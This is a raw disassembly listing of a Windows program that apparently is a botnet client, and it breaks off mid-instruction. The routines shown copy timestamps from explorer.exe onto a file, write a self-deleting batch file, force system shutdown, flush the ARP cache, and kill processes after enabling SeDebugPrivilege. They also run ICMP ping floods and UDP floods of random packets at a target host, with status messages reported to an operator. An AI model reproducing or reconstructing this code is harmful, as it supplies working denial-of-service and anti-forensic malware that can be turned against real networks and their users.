CODE XREF: sub_4053D3+7Aj pop edi pop esi pop ebp retn sub_4053D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405455 proc near ; CODE XREF: sub_407041+20Fp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_42D92C ; SearchPathA test eax, eax jz short loc_4054F4 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_418084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4054F4 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_4180B4 ; GetFileTime push ebx mov ebx, dword_41807C call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4054F4 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_4180B0 ; SetFileTime push esi call ebx ; CloseHandle loc_4054F4: ; CODE XREF: sub_405455+2Aj ; sub_405455+51j ... pop edi pop esi pop ebx leave retn sub_405455 endp ; =============== S U B R O U T I N E ======================================= sub_4054F9 proc near ; CODE XREF: sub_4077FD+EF1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_405D28 pop ecx pop ecx push 50005h push 6 call dword_42D7D0 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_4054F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40551B proc near ; CODE XREF: sub_4032EE+45Fp ; sub_4077FD+34F2p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_41DE4C, esi push edi jz short loc_40553F cmp dword_42D940, esi jnz short loc_40553F push esi call sub_4031BC pop ecx loc_40553F: ; CODE XREF: sub_40551B+13j ; sub_40551B+1Bj call sub_40C225 lea eax, [ebp+var_764] push eax push 400h call dword_4180C4 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_40C6C3 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_418084 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_40569F lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_40C6C3 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_418080 ; WriteFile push edi call dword_41807C ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_40CC40 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_40CC40 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_4242F0 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_418094 ; GetModuleHandleA push eax call dword_41804C ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_4180C0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_405647 lea eax, [ebp+var_15C] push 80h push eax call dword_4180BC ; SetFileAttributesA loc_405647: ; CODE XREF: sub_40551B+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_40C6C3 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_4180B8 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_418078 ; CreateProcessA loc_40569F: ; CODE XREF: sub_40551B+72j pop edi pop esi leave retn sub_40551B endp ; =============== S U B R O U T I N E ======================================= sub_4056A3 proc near ; CODE XREF: sub_4069FF+247p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_4056B0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4056B0: ; CODE XREF: sub_4056A3+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_4180C8 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_42E068, 1 mov ebp, eax jnz short loc_4056ED or byte_42E068, 1 lea eax, [ebp+1] push eax call sub_40D795 pop ecx mov dword_42DE00, eax loc_4056ED: ; CODE XREF: sub_4056A3+32j push esi push esi push ebp push dword_42DE00 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_42DE00 pop edi pop ebp pop ebx pop esi retn sub_4056A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40570A proc near ; CODE XREF: sub_406D25+18Ep ; sub_406D25+25Bp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_405775 push [ebp+arg_4] mov edi, eax call sub_405775 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_40E610 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_405775 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_42D788 pop edi leave retn sub_40570A endp ; =============== S U B R O U T I N E ======================================= sub_405775 proc near ; CODE XREF: sub_40570A+Ap ; sub_40570A+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_405782 pop ebp retn ; --------------------------------------------------------------------------- loc_405782: ; CODE XREF: sub_405775+9j push ebx push esi mov esi, dword_4180CC push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_40D795 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_405775 endp ; =============== S U B R O U T I N E ======================================= sub_4057B6 proc near ; CODE XREF: sub_4069FF+1BCp ; sub_4069FF+24Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_405775 push [esp+8+arg_4] mov esi, eax call sub_405775 pop ecx pop ecx push 0 push eax push esi call dword_42D764 pop esi retn sub_4057B6 endp ; =============== S U B R O U T I N E ======================================= sub_4057D9 proc near ; CODE XREF: sub_403CA3+83p ; sub_40752C+4Fp ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_42D8B4 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_405801 push [esp+arg_0] call dword_42D8F8 ; gethostbyname test eax, eax jnz short loc_4057FA or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4057FA: ; CODE XREF: sub_4057D9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_405801: ; CODE XREF: sub_4057D9+Dj retn sub_4057D9 endp ; =============== S U B R O U T I N E ======================================= sub_405802 proc near ; CODE XREF: sub_40752C+D6p mov ecx, dword_42D7B0 xor eax, eax test ecx, ecx jz short locret_405810 jmp ecx ; --------------------------------------------------------------------------- locret_405810: ; CODE XREF: sub_405802+Aj retn sub_405802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405811 proc near ; CODE XREF: sub_4077FD:loc_40AA8Bp var_C8 = byte ptr -0C8h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0C8h push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_42D8F0 ; GetIpNetTable mov ecx, eax sub ecx, edi jz short loc_405898 sub ecx, 32h jz loc_4058D5 sub ecx, 48h jz short loc_40586D sub ecx, 6Eh jz short loc_405866 loc_40584F: ; CODE XREF: sub_405811+85j push eax lea eax, [ebp+var_C8] push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"... push eax call sub_40C6C3 add esp, 0Ch jmp short loc_4058C3 ; --------------------------------------------------------------------------- loc_405866: ; CODE XREF: sub_405811+3Cj push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty." jmp short loc_4058B5 ; --------------------------------------------------------------------------- loc_40586D: ; CODE XREF: sub_405811+37j push [ebp+var_8] call sub_40CCCF push [ebp+var_8] mov esi, eax push edi push esi call sub_40CC40 add esp, 10h cmp esi, edi jz short loc_4058B0 lea eax, [ebp+var_8] push ebx push eax push esi call dword_42D8F0 ; GetIpNetTable cmp eax, edi jnz short loc_40584F loc_405898: ; CODE XREF: sub_405811+29j cmp [esi], edi jbe short loc_4058CD lea ebx, [esi+4] loc_40589F: ; CODE XREF: sub_405811+9Bj push ebx call dword_42D8EC ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40589F jmp short loc_4058CD ; --------------------------------------------------------------------------- loc_4058B0: ; CODE XREF: sub_405811+75j push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"... loc_4058B5: ; CODE XREF: sub_405811+5Aj ; sub_405811+C9j lea eax, [ebp+var_C8] push eax call sub_40C6C3 pop ecx pop ecx loc_4058C3: ; CODE XREF: sub_405811+53j push esi mov [ebp+var_4], edi call sub_40CD81 pop ecx loc_4058CD: ; CODE XREF: sub_405811+89j ; sub_405811+9Dj mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4058D5: ; CODE XREF: sub_405811+2Ej push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"... jmp short loc_4058B5 sub_405811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058DC proc near ; CODE XREF: sub_4023B8+50p ; sub_402E09+89p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_42D820 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_42E470 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_40C6C3 add esp, 18h mov eax, esi pop esi leave retn sub_4058DC endp ; =============== S U B R O U T I N E ======================================= sub_405935 proc near ; CODE XREF: sub_40B3F5+1C8p ; sub_40B3F5+20Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_405960 lea eax, [ecx-2] push edi shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+8+arg_0] loc_405953: ; CODE XREF: sub_405935+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_405953 pop edi jmp short loc_405964 ; --------------------------------------------------------------------------- loc_405960: ; CODE XREF: sub_405935+Aj mov esi, [esp+4+arg_0] loc_405964: ; CODE XREF: sub_405935+29j test ecx, ecx jz short loc_40596D movzx eax, byte ptr [esi] add edx, eax loc_40596D: ; CODE XREF: sub_405935+31j mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx pop esi mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_405935 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405985 proc near ; DATA XREF: sub_4077FD+1A19o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_40CCA0 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd xor edi, edi inc edi mov [eax+120h], edi call dword_42D80C ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_42D8B4 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_4059E0 lea eax, [ebp+var_C0] push eax call dword_42D8F8 ; gethostbyname cmp eax, ebx jz short loc_4059E6 loc_4059E0: ; CODE XREF: sub_405985+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_405A43 loc_4059E6: ; CODE XREF: sub_405985+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingErrorSendi ; "[PING]: Error sending pings to %s." push eax call sub_40C6C3 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_405A26 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_404555 add esp, 14h loc_405A26: ; CODE XREF: sub_405985+7Fj lea eax, [ebp+var_344] push eax call sub_403145 push [ebp+var_30] call sub_40C378 pop ecx pop ecx push edi call dword_418050 ; ExitThread loc_405A43: ; CODE XREF: sub_405985+5Fj cmp eax, ebx jz short loc_405A53 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_405A56 ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_405985+C0j mov [ebp+var_4], esi loc_405A56: ; CODE XREF: sub_405985+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_40CC40 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_405A76 mov [ebp+var_3C], eax loc_405A76: ; CODE XREF: sub_405985+ECj cmp [ebp+var_38], edi jge short loc_405A7E mov [ebp+var_38], edi loc_405A7E: ; CODE XREF: sub_405985+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_405AAB loc_405A85: ; CODE XREF: sub_405985+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_42D7AC ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_405A85 loc_405AAB: ; CODE XREF: sub_405985+FEj push [ebp+arg_0] call dword_42D928 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingFinishedSe ; "[PING]: Finished sending pings to %s." push eax call sub_40C6C3 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_405AF4 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_404555 add esp, 14h loc_405AF4: ; CODE XREF: sub_405985+14Dj lea eax, [ebp+var_344] push eax call sub_403145 push [ebp+var_30] call sub_40C378 pop ecx pop ecx push ebx call dword_418050 ; ExitThread sub_405985 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B11 proc near ; DATA XREF: sub_4077FD+1B6Eo var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_40CCA0 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd xor esi, esi inc esi mov [eax+120h], esi call dword_41805C ; GetTickCount push eax call sub_40CB55 pop ecx push 11h push 2 push 2 call dword_42D8F4 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_42D8B4 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_405BF6 lea eax, [ebp+var_B0] push eax call dword_42D8F8 ; gethostbyname cmp eax, edi jnz short loc_405BEF lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_41CE28 push eax call sub_40C6C3 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_405BD2 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_404555 add esp, 14h loc_405BD2: ; CODE XREF: sub_405B11+9Fj lea eax, [ebp+var_334] push eax call sub_403145 push [ebp+var_20] call sub_40C378 pop ecx pop ecx push esi call dword_418050 ; ExitThread loc_405BEF: ; CODE XREF: sub_405B11+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_405BF9 ; --------------------------------------------------------------------------- loc_405BF6: ; CODE XREF: sub_405B11+6Ej lea eax, [ebp+arg_0] loc_405BF9: ; CODE XREF: sub_405B11+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_405C14 call sub_40CB5F cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_405C17 ; --------------------------------------------------------------------------- loc_405C14: ; CODE XREF: sub_405B11+F0j push [ebp+var_24] loc_405C17: ; CODE XREF: sub_405B11+101j call dword_42D878 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_405C29 mov [ebp+var_24], esi loc_405C29: ; CODE XREF: sub_405B11+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_405C36 mov [ebp+var_24], eax loc_405C36: ; CODE XREF: sub_405B11+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_405C4A mov [ebp+var_28], esi loc_405C4A: ; CODE XREF: sub_405B11+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_405CC3 loc_405C51: ; CODE XREF: sub_405B11+158j call sub_40CB5F cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_405C51 jmp short loc_405CC3 ; --------------------------------------------------------------------------- loc_405C6D: ; CODE XREF: sub_405B11+1B5j dec [ebp+var_30] push 0Bh pop esi loc_405C73: ; CODE XREF: sub_405B11+192j lea eax, [ebp+var_10] push 10h push eax push edi call sub_40CB5F push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_42D8D8 ; sendto push [ebp+var_28] call dword_418040 ; Sleep dec esi jnz short loc_405C73 cmp [ebp+var_24], edi jnz short loc_405CC3 call sub_40CB5F cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_42D878 ; htons mov [ebp+var_E], ax loc_405CC3: ; CODE XREF: sub_405B11+13Ej ; sub_405B11+15Aj ... cmp [ebp+var_30], edi jg short loc_405C6D dec [ebp+var_30] lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_41CDF8 push eax call sub_40C6C3 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_405D0B push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_404555 add esp, 14h loc_405D0B: ; CODE XREF: sub_405B11+1D8j lea eax, [ebp+var_334] push eax call sub_403145 push [ebp+var_20] call sub_40C378 pop ecx pop ecx push edi call dword_418050 ; ExitThread sub_405B11 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D28 proc near ; CODE XREF: sub_4054F9+7p ; sub_405D93+53p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_4180D4 ; GetCurrentProcess push eax call dword_42D85C ; OpenProcessToken test eax, eax jnz short loc_405D47 leave retn ; --------------------------------------------------------------------------- loc_405D47: ; CODE XREF: sub_405D28+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_42D838 ; LookupPrivilegeValueA test eax, eax jz short loc_405D85 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_405D6E or [ebp+var_8], 2 jmp short loc_405D72 ; --------------------------------------------------------------------------- loc_405D6E: ; CODE XREF: sub_405D28+3Ej and [ebp+var_8], 0FFFFFFFDh loc_405D72: ; CODE XREF: sub_405D28+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_42D8E0 ; AdjustTokenPrivileges mov esi, eax loc_405D85: ; CODE XREF: sub_405D28+32j push [ebp+var_4] call dword_41807C ; CloseHandle mov eax, esi pop esi leave retn sub_405D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D93 proc near ; CODE XREF: sub_405F40+74p ; sub_4077FD+2BD4p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_42D898, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz short loc_405E38 cmp dword_42D87C, ebx jz short loc_405E38 cmp dword_42D7A8, ebx jz short loc_405E38 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_405D28 pop ecx pop ecx push ebx push 0Fh call dword_42D898 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz short loc_405E2B lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_42D87C ; Process32First mov esi, dword_41807C test eax, eax jnz loc_405EEE loc_405E26: ; CODE XREF: sub_405D93+173j push [ebp+var_4] call esi ; CloseHandle loc_405E2B: ; CODE XREF: sub_405D93+69j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_405D28 pop ecx pop ecx loc_405E38: ; CODE XREF: sub_405D93+3Aj ; sub_405D93+42j ... xor eax, eax loc_405E3A: ; CODE XREF: sub_405D93+1A8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405E3F: ; CODE XREF: sub_405D93+16Dj cmp [ebp+arg_10], ebx jnz loc_405EEE cmp [ebp+arg_C], ebx jnz loc_405ED9 cmp [ebp+arg_4], ebx jz loc_405EEE push [ebp+var_124] push 8 call dword_42D898 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_405E99 lea eax, [ebp+var_350] push eax push edi call dword_42D758 ; Module32First push [ebp+var_124] test eax, eax jz short loc_405E9F lea eax, [ebp+var_230] jmp short loc_405EA5 ; --------------------------------------------------------------------------- loc_405E99: ; CODE XREF: sub_405D93+E4j push [ebp+var_124] loc_405E9F: ; CODE XREF: sub_405D93+FCj lea eax, [ebp+var_108] loc_405EA5: ; CODE XREF: sub_405D93+104j push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_40C6C3 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h push edi call esi ; CloseHandle jmp short loc_405EEE ; --------------------------------------------------------------------------- loc_405ED9: ; CODE XREF: sub_405D93+B8j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_40D860 pop ecx test eax, eax pop ecx jz short loc_405F0B loc_405EEE: ; CODE XREF: sub_405D93+8Dj ; sub_405D93+AFj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_42D7A8 ; Process32Next test eax, eax jnz loc_405E3F jmp loc_405E26 ; --------------------------------------------------------------------------- loc_405F0B: ; CODE XREF: sub_405D93+159j push [ebp+var_124] push ebx push 1F0FFFh call dword_4180DC ; OpenProcess push [ebp+var_4] mov edi, eax call esi ; CloseHandle push ebx push edi call dword_4180D8 ; TerminateProcess test eax, eax jnz short loc_405F38 push edi call esi ; CloseHandle jmp loc_405E38 ; --------------------------------------------------------------------------- loc_405F38: ; CODE XREF: sub_405D93+19Bj xor eax, eax inc eax jmp loc_405E3A sub_405D93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F40 proc near ; DATA XREF: sub_4077FD+3462o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_41CEBC rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_40C6C3 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_405F9F push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_404555 add esp, 14h loc_405F9F: ; CODE XREF: sub_405F40+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_405D93 add esp, 18h test eax, eax lea eax, [ebp+var_298] jnz short loc_405FCD push offset unk_41CE94 jmp short loc_405FD2 ; --------------------------------------------------------------------------- loc_405FCD: ; CODE XREF: sub_405F40+84j push offset unk_41CE70 loc_405FD2: ; CODE XREF: sub_405F40+8Bj push eax call sub_40C6C3 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_405FFF push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_404555 add esp, 14h loc_405FFF: ; CODE XREF: sub_405F40+9Dj lea eax, [ebp+var_298] push eax call sub_403145 push [ebp+var_14] call sub_40C378 pop ecx pop ecx push esi call dword_418050 ; ExitThread pop edi pop esi sub_405F40 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40601E proc near ; CODE XREF: sub_4077FD+2B72p ; sub_40C19D+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi inc edi push 0 push 1F0FFFh call dword_4180DC ; OpenProcess mov esi, eax test esi, esi jz short loc_406050 push 0 push esi call dword_4180D8 ; TerminateProcess test eax, eax jnz short loc_406050 push esi xor edi, edi call dword_41807C ; CloseHandle loc_406050: ; CODE XREF: sub_40601E+1Aj ; sub_40601E+27j mov eax, edi pop edi pop esi retn sub_40601E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406055 proc near ; DATA XREF: sub_4077FD+20D2o var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_40CC40 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_42D878 ; htons push 6 push 1 push 2 mov 